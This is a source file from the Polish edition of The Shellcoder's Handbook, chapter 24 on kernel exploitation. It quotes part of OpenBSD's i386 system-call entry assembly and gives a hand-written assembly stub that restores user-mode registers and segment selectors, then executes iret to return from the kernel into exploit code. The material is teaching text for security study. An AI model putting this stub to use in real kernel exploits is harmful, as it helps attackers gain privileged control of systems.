/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 24
Wykorzystanie sabych punktw jdra
obsd_ex1.c

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/



IDTVEC(syscall)
        pushl   $2              # rozmiar rozkazu restartu
syscall1:
        pushl   $T_ASTFLT       # numer przerwania AST
        INTRENTRY
        movl    _C_LABEL(cpl),%ebx
        movl    TF_EAX(%esp),%esi       # numer wywoania systemowego
[1]     call    _C_LABEL(syscall)
2:      /* Sprawdza AST przechodzc do trybu uytkownika. */
        cli
        cmpb    $0,_C_LABEL(astpending)
        je      1f
        /* Tutaj zawsze powrt do trybu uytkownika. */
        movb    $0,_C_LABEL(astpending)
        sti
        /* T_ASTFLT umieszczone w tf_trapno. */
        call    _C_LABEL(trap)
        jmp     2b
1:      cmpl    _C_LABEL(cpl),%ebx
        jne     3f
[2]     INTRFASTEXIT

#define INTRFASTEXIT \
        popl    %es             ; \
        popl    %ds             ; \
        popl    %edi            ; \
        popl    %esi            ; \
        popl    %ebp            ; \
        popl    %ebx            ; \
        popl    %edx            ; \
        popl    %ecx            ; \
        popl    %eax            ; \
        addl    $8,%esp         ; \
        iret

# konfiguruje rne selektory dla trybu uytkownika
# es = ds = 0x1f
pushl $0x1f
popl  %es
pushl $0x1f
popl  %ds

# esi = esi = 0x00
pushl $0x00
popl  %edi
pushl $0x00
popl  %esi

# ebp = 0xdfbfd000
pushl $0xdfbfd000
popl  %ebp

# ebx = edx = ecx = eax = 0x00
pushl $0x00
popl  %ebx
pushl $0x00
popl  %edx
pushl $0x00
popl  %ecx
pushl $0x00
popl  %eax

pushl $0x1f             # ss = 0x1f
pushl $0xdfbfd000       # esp  = 0xdfbfd000
pushl $0x287            # eflags
pushl $0x17             # selektor segment kodu w obszarze uytkownika

# konfiguruje licznik rozkazw trybu uytkownika w kodzie eksploitu
pushl $0x00000000       # puste miejsce na ring3 %eip
iret
